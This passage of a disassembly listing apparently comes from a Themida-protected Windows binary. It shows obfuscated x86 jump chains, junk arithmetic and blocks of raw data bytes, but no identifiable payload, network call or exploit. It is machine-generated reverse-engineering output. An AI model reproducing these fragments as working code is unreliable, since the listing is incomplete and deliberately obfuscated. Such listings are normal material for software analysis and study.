4C1h, 4C18300h, 0E9240C87h dd 0FFFFEF7Ch, 4C481h, 0C870000h, 4095C24h, 97E99C24h dd 5DFFFF8Ah, 0C8BCD89h, 4C48324h, 0E95DEE89h, 0FFFFD1FBh dd 0DAF681h, 0F28933C7h, 5FFA315Eh, 148BD789h, 0A852E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E352: ; CODE XREF: Themida_:0053B093j xchg edx, [esp] pop esp push edx xchg ebp, [esp] not ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp mov edx, [esp] add esp, 4 xchg eax, edx push ebx push esp pop ebx add ebx, 4 push ebp push esi mov esi, 4 jmp loc_5407E9 ; --------------------------------------------------------------------------- dd 5C24048Fh, 9C2404FEh, 0FF8A31E9h, 48F181FFh, 552807Ch dd 532771F6h, 0F62DC829h, 59532771h, 0FFF394E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E3A9: ; CODE XREF: Themida_:00537B1Fj pop esp jmp loc_5385A9 ; --------------------------------------------------------------------------- db 81h dd 0F65D3EE5h, 4DD5F77Ah, 677CD81h, 23E90C57h, 8BFFFFD3h dd 8956240Ch, 8E17E9E6h, 0DD29FFFFh, 0C6F5815Bh, 1498AFBh dd 242C8BEFh, 104C483h, 97EF81CFh, 0E90D1D2Ch, 4131h, 46852h dd 815A0000h, 0EA0398EBh, 0DBC5E971h, 4BAFFFFh, 1000000h dd 5A042454h, 4BA525Bh, 1000000h, 0EE8E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53E416: ; CODE XREF: Themida_:0053FED2j shr ah, 8 xor ah, 27h xor ah, 37h sub ah, 0D0h jmp loc_53D3C3 ; --------------------------------------------------------------------------- loc_53E427: ; CODE XREF: Themida_:005384AFj mov eax, ebx pop ebx mov dword ptr [edi+20h], 1BBE5AE2h jmp loc_541E74 ; --------------------------------------------------------------------------- dw 0C168h dd 0E900003Fh, 44F2h, 0E9D78853h, 0FFFFBDE6h ; --------------------------------------------------------------------------- loc_53E448: ; CODE XREF: Themida_:0053E692j add esi, ecx push ebp mov ebp, 422E2654h or ebp, 78912618h xor ebp, 0BB15C40h sub ebp, 1EDC62D6h jmp loc_538144 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 50000000h, 220F6BB8h, 7E0C10Eh, 0D3131A2Dh dd 0A2622D52h, 0E981BE34h, 49A07894h, 0FFE9CAE9h, 0B0E950FFh db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E493: ; CODE XREF: Themida_:0053DA1Bj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edi, 0F4460381h add ecx, edi jmp loc_53AD4B ; --------------------------------------------------------------------------- db 83h dd 59042404h, 2DAAE9h db 0 ; --------------------------------------------------------------------------- loc_53E4B9: ; CODE XREF: Themida_:00537566j add esi, ebx pop ebx jmp loc_542E99 ; --------------------------------------------------------------------------- db 0BDh, 78h, 2Ah dd 0E5C14EABh, 3CED8102h, 453B3748h, 0F18E581h, 2BE91B86h dd 8B000007h, 0E9243Ch, 54000015h, 0E924148Bh, 0FFFF8F73h ; --------------------------------------------------------------------------- loc_53E4EC: ; CODE XREF: Themida_:00537B3Aj sub esp, 4 jmp loc_53BC4D ; --------------------------------------------------------------------------- loc_53E4F7: ; CODE XREF: Themida_:00537759j sub esp, 4 jmp loc_53CE33 ; --------------------------------------------------------------------------- dw 0D1F7h dd 607DB850h, 0C1313748h, 8124048Bh, 4C4h, 59C83100h, 6853C331h dd 2Ch, 81241C8Bh, 4C4h, 4EC8300h, 0E9240489h, 8A6h ; --------------------------------------------------------------------------- loc_53E534: ; CODE XREF: Themida_:0053926Cj neg eax add eax, 217D8220h add edi, eax pop eax jmp loc_53E14C ; --------------------------------------------------------------------------- db 87h dd 2E92404h, 0D1FFFFF5h, 7ABB53E0h, 90B1672h, 1CC6E9D8h dd 0DF870000h, 0E0E9D3F7h, 81FFFFD0h, 4C4h, 5D8F700h, 7FF353FEh dd 2C1CC681h, 0C6014C69h, 2C1CEE81h, 48B4C69h, 4C48324h dd 8B243487h, 0F662424h, 9C2404A3h, 0FFF4F8E9h, 0FA015EFFh dd 343F68h, 168E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53E5A2: ; CODE XREF: Themida_:005385A4j jz loc_538065 sub esp, 4 mov [esp], ebx mov eax, [esp] jmp loc_541671 ; --------------------------------------------------------------------------- aL4Sb8 db '▀4$И│8',0 align 2 dw 9F0Ch dd 0C0FE392Ch, 0B034D634h, 45E9C720h, 89000010h, 4C381E3h dd 83000000h, 1C8704C3h, 4EE95C24h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_53E5E3: ; CODE XREF: Themida_:00542E94j pop esp xor edx, edx push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], edx push 2635489Fh jmp loc_539EB2 ; --------------------------------------------------------------------------- loc_53E617: ; CODE XREF: Themida_:00539DE9j add edi, esi pop esi pop eax add edi, 4 jmp loc_53B2AD ; --------------------------------------------------------------------------- dw 3433h dd 0DE76E924h, 0C481FFFFh, 4, 0FFFA97E9h, 68E950FFh, 1FFFFDCh dd 0CE05E9D9h, 34FFFFFFh, 0BA685824h, 89000065h, 0A6682404h dd 8100005Fh, 4ECh, 0E472E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E662: ; CODE XREF: Themida_:0053BCF7j and eax, esi pop esi shr eax, 8 xor eax, ecx jmp loc_539EC3 ; --------------------------------------------------------------------------- loc_53E66F: ; CODE XREF: Themida_:005375B9j ; Themida_:0053FB65j sub esp, 4 mov [esp], ebx push dword ptr [esp] jmp loc_5377AF ; --------------------------------------------------------------------------- loc_53E680: ; CODE XREF: Themida_:005418EAj push ecx mov ecx, 2E033E4Fh add ecx, 0D32FD357h add esi, 2B3734F0h jmp loc_53E448 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF8726h, 0E9240489h, 0FFFF871Eh, 8B243487h, 31662424h dd 0C0B70FC3h, 26E1E951h, 0EE800000h, 5AF58810h, 809FB652h dd 0F68034F6h, 0FFF028E0h, 835A2434h, 536604C4h, 0E9CAB652h dd 1D53h, 76C0B951h, 0CA317099h, 5AD10159h, 154D68h, 24148900h dd 1E4C8ABAh, 88EA8118h, 81181E4Ch, 864A55C1h, 81D1013Fh dd 864A55E9h, 0D1F9E93Fh, 489FFFFh, 0E9028F24h, 0FFFFA6A3h dd 300D68h, 24148900h, 81575257h, 4ECh, 241C8900h, 3779B5BBh dd 0F9DBF4Fh, 0B5E96FBBh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E737: ; CODE XREF: Themida_:00539CD7j sub esp, 4 mov [esp], eax push 5940h mov [esp], esp add dword ptr [esp], 4 jmp loc_53AFAE ; --------------------------------------------------------------------------- loc_53E751: ; CODE XREF: Themida_:0053CF39j add esp, 4 pop dword ptr [esp] jmp loc_5371FD ; --------------------------------------------------------------------------- loc_53E75C: ; CODE XREF: Themida_:005379E0j sub edx, ecx pop ecx xor [edi+24h], edx xor edx, [edi+24h] xor [edi+24h], edx loc_53E768: ; CODE XREF: Themida_:0053EAB5j push ebp mov ebp, esp jmp loc_53A21D ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 41116800h, 14890000h, 4EC8124h, 0E9000000h dd 0FFFF94E1h, 30FF665Dh, 0FF862DE9h, 2434FFFFh, 5624148Bh dd 0C681E689h, 4, 8704C683h, 835C2434h, 148B04C4h, 4C48324h dd 4C281h, 0C2810000h, 2, 0E26E9h, 5AD30000h, 8957C328h dd 4C781E7h, 0E9000000h, 42D5h, 0CDC7815Bh, 81070945h dd 9F1E97EFh, 81EF0154h, 9F1E97C7h, 3A44E954h, 0EF810000h dd 28B7738Ch, 0C781D701h, 28B7738Ch, 8124148Bh, 4C4h, 0A7C5E900h dd 3489FFFFh, 0F0A4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E816: ; CODE XREF: Themida_:00539EBEj pop eax add esp, 4 add esp, 4 jmp loc_53A4B1 ; --------------------------------------------------------------------------- dw 0E188h dd 0CFF18058h, 8059C830h, 0EB803AC3h, 80C328E3h, 0EE9E3C3h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E83B: ; CODE XREF: Themida_:00539E98j xor edi, ecx pop ecx or esi, edi pop edi push 31FCh mov [esp], edi push ebp mov ebp, 6F3A42F4h mov edi, ebp pop ebp or esi, edi pop edi xor esi, 6F7F6FFFh and eax, esi pop esi or eax, eax jz loc_53F21E push ebx jmp loc_53CD9A ; --------------------------------------------------------------------------- dd 0FF2434FFh, 48B2434h, 4C48324h, 4C481h, 0EC830000h dd 241C8904h, 241C8B54h, 40EFE9h, 81CE2900h, 4350F6EEh dd 0FA1E940h, 23E90000h, 53FFFF85h, 670B03BBh, 3EBC133h dd 39F3E9h, 0FA015D00h, 0CF7DE95Fh, 67BAFFFFh, 0E9526C39h dd 0FFFFB1BDh, 787D68h, 243C8900h, 30666851h, 565900DFh dd 2402BB53h, 1BBE3523h, 2938827Fh, 2EFDE9DEh, 0BD550000h dd 33E18F82h, 315DEA31h, 24148BD0h, 8104C483h, 77808EBh dd 68C32937h, 1F15h, 0FF8E03E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E905: ; CODE XREF: Themida_:0053D5D0j xor cl, dl pop edx xor dh, cl mov ecx, [esp] add esp, 4 dec dh add dh, 0FCh xor al, dh jmp loc_541E2D ; --------------------------------------------------------------------------- dd 5366C800h, 0DBF66CB3h, 0C3FED3F6h, 0EBC0D3F6h, 0DE7BE908h dd 0EF81FFFFh, 64816CA8h, 3E9C701h, 81FFFF8Bh, 7680242Ch dd 0E95D613Fh, 0FFFFD6F8h, 53EA875Ah, 0FFFFFFBBh, 5BDD01FFh dd 0FFCB76E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E95D: ; CODE XREF: Themida_:0053D24Ej sub edx, 0FFFFFFFFh jmp loc_539B7D ; --------------------------------------------------------------------------- dd 284E95Fh, 83AD0000h, 0E900207Fh, 0FFFFB339h, 6B7A4AB9h dd 0E9CF294Dh, 0FFFFBA56h ; --------------------------------------------------------------------------- loc_53E984: ; CODE XREF: Themida_:0053911Bj mov eax, 1 sub [esp+4], eax pop eax mov ebx, [esp] push esi mov esi, esp push ecx mov ecx, 1A323DB7h inc ecx add ecx, 0E5CDC24Ch add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp shr ebx, 6 jmp loc_53F447 ; --------------------------------------------------------------------------- loc_53E9B3: ; CODE XREF: Themida_:005390B0j mov ecx, 4 add ebp, ecx jmp loc_539923 ; --------------------------------------------------------------------------- db 83h dd 0E7C104C4h, 98C78103h, 0E9DF710Ah, 11D8h, 7C13FFBFh dd 8BFA0962h, 0C481243Ch, 4, 0E907E2C1h, 39E6h, 808CB652h dd 536601C6h, 0FFDB7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_53E9F5: ; CODE XREF: Themida_:00537142j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5396C9 ; --------------------------------------------------------------------------- dw 2966h dd 66575DE8h, 66083568h, 0B58DE95Fh, 0C281FFFFh, 6B3974C5h dd 0EA81FA01h, 6B3974C5h, 2E74E9h, 0BB0F6600h, 0E99C2404h dd 0FFFF838Ah ; --------------------------------------------------------------------------- loc_53EA38: ; CODE XREF: Themida_:005380D9j pop esp jmp loc_540614 ; --------------------------------------------------------------------------- dw 0AD66h dd 478B6866h, 24348966h, 4CC4BE66h, 611B0566h, 66F00166h dd 66611B2Dh, 8124348Bh, 2C4h, 1471E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53EA66: ; CODE XREF: Themida_:0053B5CDj sub edx, 10B87B88h not edx or edx, 47D87AF2h shr edx, 2 and edx, 0FB372B2h sub edx, 9E05DE01h sub edi, edx pop edx pop ecx push edi push dword ptr [esp+4] jmp loc_53A783 ; --------------------------------------------------------------------------- db 59h, 81h, 0C1h dd 4, 3304C183h, 0C31240Ch, 0DA51E924h, 0EE80FFFFh, 0C0D6F6FFh dd 0D2E907E6h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EAB3: ; CODE XREF: Themida_:0053D9B9j or eax, eax jz loc_53E768 push dword ptr [edi+1Ch] push 0C7Bh jmp loc_53DF80 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481240Ch, 4, 4EC81h, 14890000h, 0F3F8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EAE2: ; CODE XREF: Themida_:0053C28Ej inc edi push esi mov esi, 0E5804B08h xor edi, esi pop esi sub edx, 56235EB0h add edx, edi add edx, 56235EB0h pop edi xor edx, 0B38FCE1Fh mov eax, edx mov edx, [esp] jmp loc_53753B ; --------------------------------------------------------------------------- db 1 dd 0BC581FDh, 81602454h, 0A43553C5h, 243C8B4Fh, 0FFBD4CE9h dd 243C89FFh, 594268h, 24348900h, 4117E9h, 24348700h, 0FFF42EE9h dd 2434FFFFh, 83240C8Bh, 545704C4h, 4C7815Fh, 83000000h dd 3C8704C7h, 0BD555C24h, 44103D7Bh, 0EFC28568h, 0B9515BBBh dd 76E302CDh, 0E908E9C1h, 0FFFFADACh, 348BF289h, 4C48324h dd 38EE9h, 44EFBD00h, 0F5816174h, 617444EDh, 2C3AE9h db 0 ; --------------------------------------------------------------------------- loc_53EB89: ; CODE XREF: Themida_:0053CBC8j xor bl, 0BEh sub bl, 8Fh jmp loc_53FEB3 ; --------------------------------------------------------------------------- loc_53EB94: ; CODE XREF: Themida_:00541342j and edi, 3C6B4262h xor edi, 10000004h add esi, edi pop edi push edx jmp loc_5422C7 ; --------------------------------------------------------------------------- db 5Dh, 8Bh, 2Ch dd 0E479E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EBB2: ; CODE XREF: Themida_:0053A9E6j mov ecx, [esp] add esp, 4 push edi mov edi, esp jmp loc_542C97 ; --------------------------------------------------------------------------- db 83h dd 48704C4h, 24248B24h, 108FE9h db 0 ; --------------------------------------------------------------------------- loc_53EBD1: ; CODE XREF: Themida_:00541081j add edx, 1186139Fh add edx, edi sub edx, 1186139Fh sub edx, 2FAD6F46h push ebx mov ebx, 0 add ebx, edx jmp loc_541851 ; --------------------------------------------------------------------------- dw 0EF81h dd 65BE02E1h, 815FFE01h, 4ECh, 0E7BE900h, 0C5810000h, 7832AF8h dd 0D666ED81h, 0E9890EFEh, 0FFF712E9h, 6D5C05FFh, 0C8011D73h dd 58CE68h, 240C8900h, 172001B9h, 4E1C100h, 0FF9C2CE9h dd 2DCA68FFh, 14890000h, 66C66824h, 24890000h, 24048324h dd 0C2815A04h, 4, 44AAB951h, 0E941676Eh, 1918h, 0D90CA9BDh dd 56F5814Dh, 0D139146Ah, 0D267E9EDh, 0C381FFFFh, 4, 8704C383h dd 9FE9241Ch, 88FFFFCCh, 5BFC88CFh, 0FFB54FE9h, 241489FFh dd 212DE9h, 2F376800h, 14890000h, 3FEBBA24h, 0F2816AC2h dd 7B105414h, 6BFBEA81h, 0B85011D2h, 0E983F11h, 3540D0F7h dd 671A2146h, 0E8C1D8F7h, 68302D08h, 0C501E3AAh, 0FF96F7E9h dd 0C1EA81FFh, 1A47021h, 24148BD3h, 4C481h, 33580000h dd 1C31241Ch, 241C3324h, 0FF9F67E9h, 268FFh, 3C8B0000h dd 4C48324h, 1747C181h, 0F9012F19h, 1747E981h, 3C8B2F19h dd 4C48324h, 5C240C87h, 0FFE665E9h, 0E92DB2FFh, 0FFFFCB71h dd 83242C8Bh, 4F0904C4h, 2AD0E91Ch, 0C2800000h, 0FDE2803Ch dd 2562E9h, 81E28900h, 4C2h, 4EC8100h, 89000000h, 2BB241Ch dd 1000000h, 241C8BDAh, 5204C483h, 42474FFh, 5124148Bh dd 0C181E189h, 4, 1FF9BD55h, 0E5812F79h, 4A587941h, 193DED81h dd 7DE90A58h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53ED77: ; CODE XREF: Themida_:0053D43Bj xchg edx, ebp push edx xchg esi, [esp] not esi xchg esi, [esp] pop edx jmp loc_53C7A2 ; --------------------------------------------------------------------------- dd 24148B54h, 0FFBCBDE9h, 2434FFFFh, 592434FFh, 19FA68h dd 35A5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53EDA2: ; CODE XREF: Themida_:0053C37Ej mov esp, [esp] jmp loc_536DC2 ; --------------------------------------------------------------------------- dw 36B8h dd 310CF376h, 87E958C6h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EDB7: ; CODE XREF: Themida_:00540756j push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_53AAA3 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0D2F60000h, 0EA80C2FEh, 26DBE9A3h, 70B80000h dd 2974687Eh, 24048BC3h, 4C481h, 0FB010000h, 0C44BF57h dd 0E7C15FDDh, 0BE564704h, 60380594h, 0FFE698E9h, 243431FFh dd 8B243433h, 89662424h, 50662414h, 7FACE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EE16: ; CODE XREF: Themida_:0053E13Aj xchg ebp, [esp] pop esp jmp loc_53CF3E ; --------------------------------------------------------------------------- loc_53EE1F: ; CODE XREF: Themida_:0053B22Bj mov bh, 32h mov dh, bh jmp loc_541658 ; --------------------------------------------------------------------------- dd 0B281E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EE2E: ; CODE XREF: Themida_:0053DADEj shl edi, 3 dec edi jmp loc_54034C ; --------------------------------------------------------------------------- aHa_0 db '[ha$',0 dd 240C8900h, 376E7FB9h, 387CE978h, 0EC810000h, 4, 0B8240489h dd 46B45689h, 3D79F3BDh, 0A253E94Fh, 34FFFFFFh, 3BC4E924h dd 0C2800000h, 5AD43020h, 0FFD84CE9h db 0FFh ; --------------------------------------------------------------------------- loc_53EE75: ; CODE XREF: Themida_:00537703j pop ebp not ebp add ebp, 7CF05A05h sub ebp, 15887740h sub ebp, 9F94762Ch mov ebx, ebp pop ebp shr ebx, 8 jmp loc_53AC30 ; --------------------------------------------------------------------------- loc_53EE95: ; CODE XREF: Themida_:00539804j and edx, 204C4B6Ch push ebx mov ebx, 5FA33B80h jmp loc_53F927 ; --------------------------------------------------------------------------- dw 0F780h dd 0B571E990h, 0C87FFFFh, 89515C24h, 0E28952E1h, 4C281h dd 3CE90000h, 0B2FFFFE2h, 0A66CE9C4h, 4ABFFFFFh, 8135155Eh dd 0E1656BE7h, 0DFF74734h, 0BEA2E94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EEDE: ; CODE XREF: Themida_:00540426j xchg ebp, edi jmp loc_5403E9 ; --------------------------------------------------------------------------- db 0BFh, 0FBh, 65h dd 0EC81622Dh, 4, 68242C89h, 399E54D3h, 3862E9h, 32E96800h dd 14E90000h, 0F7000004h, 3AA5E9D2h, 565C0000h, 2BEh, 31C58100h dd 0E95D127Bh, 0FFFF9361h ; --------------------------------------------------------------------------- loc_53EF20: ; CODE XREF: Themida_:0053DB14j push edx push eax mov eax, 3CFD57E9h neg eax or eax, 440251A1h shr eax, 2 shr eax, 6 add eax, 4C6E44B0h mov edx, 0B731C378h add edx, eax pop eax sub edx, 1 shr edx, 2 neg edx push ecx jmp loc_53D20F ; --------------------------------------------------------------------------- db 66h dd 6BE9028Fh, 81FFFF7Eh, 7F4367EDh, 0E9C50156h, 2459h dd 0EC835259h, 24348904h, 9802D0BEh, 81DEF71Ah, 0A914E0CEh dd 6BE68104h, 81335120h, 90965C6h, 0FBE2E9EBh, 91B9FFFFh dd 29525561h, 9671E9C8h, 0C29FFFFh, 242C8124h, 65D223D4h dd 1EC98159h, 8111E140h, 0FFD33BF1h, 2992E9D1h, 9A0D0000h dd 351C271Dh, 9FA77D99h, 0FFDE26E9h, 8B665AFFh, 0C4812414h dd 2, 5F916866h, 0FFAD16E9h, 67C680FFh, 8004EEC0h, 0EED0F4CEh dd 8078EE80h, 0F02833F6h, 1D54E9h, 24248900h, 4240483h dd 0B0E9515Ah, 68FFFFBCh, 35Eh, 50242489h, 4B8h, 24440100h dd 0D170E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F012: ; CODE XREF: Themida_:00539A6Fj pop ebx jmp loc_5411E1 ; --------------------------------------------------------------------------- loc_53F018: ; CODE XREF: Themida_:0053CDE2j or eax, eax jz loc_5375F8 push dword ptr [edi+1Ch] push 0E6Ch mov [esp], eax push 38300E0h pop eax add dword ptr [esp+4], 6DE94B0Dh add [esp+4], eax sub dword ptr [esp+4], 6DE94B0Dh pop eax jmp loc_53FDD0 ; --------------------------------------------------------------------------- db 0B8h dd 22F81h, 8158C729h, 0A43553EDh, 0BED814Fh, 0E9602454h dd 0FFFFFAA7h, 0F7E9C701h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F06B: ; CODE XREF: Themida_:00541833j mov ebp, 856E5F9Bh sub edi, ebp pop ebp push edi add dword ptr [esp], 59D46004h pop eax jmp loc_537D1A ; --------------------------------------------------------------------------- loc_53F081: ; CODE XREF: Themida_:00537169j sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5388CC ; --------------------------------------------------------------------------- loc_53F08F: ; CODE XREF: Themida_:0053C22Cj push esp pop ebx push eax jmp loc_538658 ; --------------------------------------------------------------------------- db 0C1h dd 0C28106EAh, 3A205AC0h, 75E2814Ah, 504E2957h, 59494AB8h dd 0C4AEE933h, 8957FFFFh, 8EC7E9DFh, 0E389FFFFh, 4C381h dd 0BD550000h, 2, 4E08EB81h, 0BE560463h, 4BC639EAh, 8146DEF7h dd 9120DE6h, 0F681460Eh, 3C523589h, 348BF329h, 4C48324h dd 0C381EB01h, 385B378Fh, 4E08C381h, 34FF0463h, 0C4835D24h dd 4EC8104h, 89000000h, 80E9241Ch, 89FFFFA2h, 0B9512424h dd 4, 4244C01h, 2434FF59h, 4C4815Fh, 81000000h, 4C7h, 4EC8300h dd 0E9243489h, 973h ; --------------------------------------------------------------------------- loc_53F138: ; CODE XREF: Themida_:0053DD55j sub esi, 70F3B34Dh jmp loc_53D06C ; --------------------------------------------------------------------------- db 51h dd 0FF9AD6E9h, 525051FFh, 0F0E9FE88h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F153: ; CODE XREF: Themida_:0053B23Ej push ecx jmp loc_5372FF ; --------------------------------------------------------------------------- loc_53F159: ; CODE XREF: Themida_:0053902Dj mov [esp], edx mov edx, 800h push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax jmp loc_537F48 ; --------------------------------------------------------------------------- dd 74FF505Dh, 8F580424h, 248B2404h, 4C48324h, 5A2434FFh dd 4A3E952h, 4BD0000h, 1000000h, 0EA835DEAh, 24148704h dd 240C895Ch, 1B9h, 0E0895000h, 405h, 4E88300h, 8B240487h dd 0FBE92424h, 1FFFFE2h, 97ED81D5h, 0FF4B8506h, 815A2434h dd 4C4h, 2C58100h, 87000000h, 665C242Ch, 9C2404FFh, 0FF7BD9E9h dd 7BD4E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F1EE: ; CODE XREF: Themida_:0053ADBBj push edi mov edi, esi mov ebx, edi pop edi mov edx, ebx pop ebx mov esi, [esp] add esp, 4 push 163Fh mov [esp], esi jmp loc_542066 ; --------------------------------------------------------------------------- loc_53F20D: ; CODE XREF: Themida_:00537AAAj xor eax, ebp xor ebp, eax xor eax, ebp push ecx push edx jmp loc_538938 ; --------------------------------------------------------------------------- loc_53F21A: ; CODE XREF: Themida_:0053DD69j xchg edi, [esp] pop esp loc_53F21E: ; CODE XREF: Themida_:0053E860j ; Themida_:005422FDj push dword ptr [edi+24h] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_542B7B ; --------------------------------------------------------------------------- dd 48416855h, 15D3521h, 12E95DEAh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F23F: ; CODE XREF: Themida_:0053CF46j jmp loc_536DC2 ; --------------------------------------------------------------------------- dd 0D473B3BFh, 0E9FE3105h, 2CE7h, 67592205h, 0C378E94Ah dd 0E829FFFFh, 81242C8Bh, 4ECh, 240C8900h, 0C8E9E189h dd 5AFFFF9Fh, 0FFECCFE9h, 241C33FFh, 117AE9h, 1C77FF00h dd 0D359669Dh, 0E99C2414h, 0FFFF7B36h, 4C781h, 0FF570000h dd 5F042474h, 5C24048Fh, 0F0000B2Ch, 0FFE719E9h, 7B18E9FFh dd 0E950FFFFh, 1FA6h, 0EE80DEF6h, 80CEFE2Eh, 0F7286CF6h dd 0FFED70E9h, 2DD801FFh, 49BB76C1h, 74FF505Bh, 8F580424h dd 248B2404h, 0C0B15124h, 3FE968h, 0D8BBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F2E2: ; CODE XREF: Themida_:00538768j mov [esp], edx jmp loc_54158C ; --------------------------------------------------------------------------- dw 0D3E9h dd 54FFFF7Ah, 3489E95Dh, 0E9800000h, 4DEE9A3h, 0E95A0000h dd 0FFFFFE3Fh ; --------------------------------------------------------------------------- loc_53F304: ; CODE XREF: Themida_:00540322j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_53A3F3 ; --------------------------------------------------------------------------- db 89h dd 1B1240Ch, 0FF7E56E9h, 4C781FFh, 56000000h, 0FF974DE9h dd 8BD001FFh, 8AE92414h, 66FFFFEBh, 0BD93E959h, 0C481FFFFh dd 4, 0FFA669E9h, 48B66FFh, 39685124h, 8900003Ch, 4812424h dd 424h, 0EC815900h, 4, 0BD242C89h, 4, 443BBF57h, 0C7810EB1h dd 381B2D32h, 3C78EF81h, 0EFD12AA9h, 0F781D7F7h, 8BBA4CC2h dd 15FF901h, 47E981E9h, 5D7A5429h, 0C9ABB53h, 0E3C129E7h dd 2C38107h, 0E90C79B3h, 0FFFF8AA3h, 24048B66h, 815F5457h dd 4C7h, 42E95100h, 0AC00002Dh, 0DBB35351h, 8826C380h dd 1985E9DDh, 1C890000h, 47DDBB24h, 1FE90262h, 0B1000029h dd 7BEB802Eh, 28B3EB80h, 0B3C380CBh, 2946E951h, 50550000h dd 253ADF68h, 0D8F75862h, 997E632Dh, 58C5894Dh, 2CE58145h dd 0E91FD84Bh, 0FFFFBC49h ; --------------------------------------------------------------------------- loc_53F40C: ; CODE XREF: Themida_:00540E1Cj mov eax, [esp] add esp, 4 pop esi push esi push ebx pop esi push dword ptr [esp] jmp loc_53C80F ; --------------------------------------------------------------------------- loc_53F421: ; CODE XREF: Themida_:0053C80Aj add ecx, edi sub ecx, 24C30E33h pop edi jmp loc_537DC5 ; --------------------------------------------------------------------------- db 0C0h dd 0D1E904ECh, 59FFFFEDh, 34EAE9h, 33C86800h, 0F8E90000h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53F447: ; CODE XREF: Themida_:0053E9AEj sub ebx, 1CC700Ch mov ebp, ebx jmp loc_5427CE ; --------------------------------------------------------------------------- dd 4F60BB53h, 0D3F74491h, 6A2ACB81h, 0E3810229h, 66B31EF7h dd 0FFEB41E9h, 0DCC381FFh, 8B101078h, 0C4832414h, 0A728E904h dd 8350FFFFh, 58E904ECh, 8700002Ch, 0BAE92414h, 8100000Fh dd 0C4720DF2h, 0C9C2810Dh, 0E981DC20h, 11D8h ; --------------------------------------------------------------------------- loc_53F4A0: ; CODE XREF: Themida_:0053CDBCj push edx mov edx, 2581F26h sub edx, 2581F22h sub esi, edx pop edx xchg esi, [esp] pop esp mov [esp], edx push ecx mov ecx, 4C707EB0h mov edx, 2C980ECFh xor edx, ecx mov ecx, [esp] jmp loc_537C5C ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 8704E983h, 7DE9240Ch db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F4DF: ; CODE XREF: Themida_:0053CE44j sub edx, 54AA62CCh sub edx, edi add edx, 54AA62CCh push dword ptr [esp] pop edi add esp, 4 jmp loc_536DC2 ; --------------------------------------------------------------------------- loc_53F4F9: ; CODE XREF: Themida_:00537612j push esp pop edi push ebp push edx mov edx, 4 push edx pop ebp pop edx add edi, ebp pop ebp jmp loc_53BB26 ; --------------------------------------------------------------------------- db 1, 0E8h, 0E9h dd 26E9h, 240C8B66h, 148B5452h, 9837E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53F522: ; CODE XREF: Themida_:005394B4j mov [esp], ebp pop eax jmp loc_53D43A ; --------------------------------------------------------------------------- db 50h dd 0D4B1C2B8h, 58C531EFh, 656DC181h, 0E9011B73h, 0FFCCADE9h dd 8BF801FFh, 0C483243Ch, 2BB5304h, 1000000h, 0A36E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53F556: ; CODE XREF: Themida_:0053F77Ej pop ecx mov eax, esi jmp loc_53B3CA ; --------------------------------------------------------------------------- aPVBh db 'P╦V#:Bh',0 align 4 dd 24042900h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 jmp loc_5394A3 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 0ABC685Ch, 34890000h dd 2E216824h, 3C890000h, 841BF24h, 0BB531016h, 34021538h dd 146809BEh, 9FC68155h, 0E902D271h, 0FFFFD812h, 48BC688h dd 4C48124h, 2C000000h, 4F028FCh, 32C7E9FCh, 0C3810000h dd 7CAD1FD6h, 4C3815Eh, 87000000h, 0BE9241Ch db 8, 2 dup(0) ; 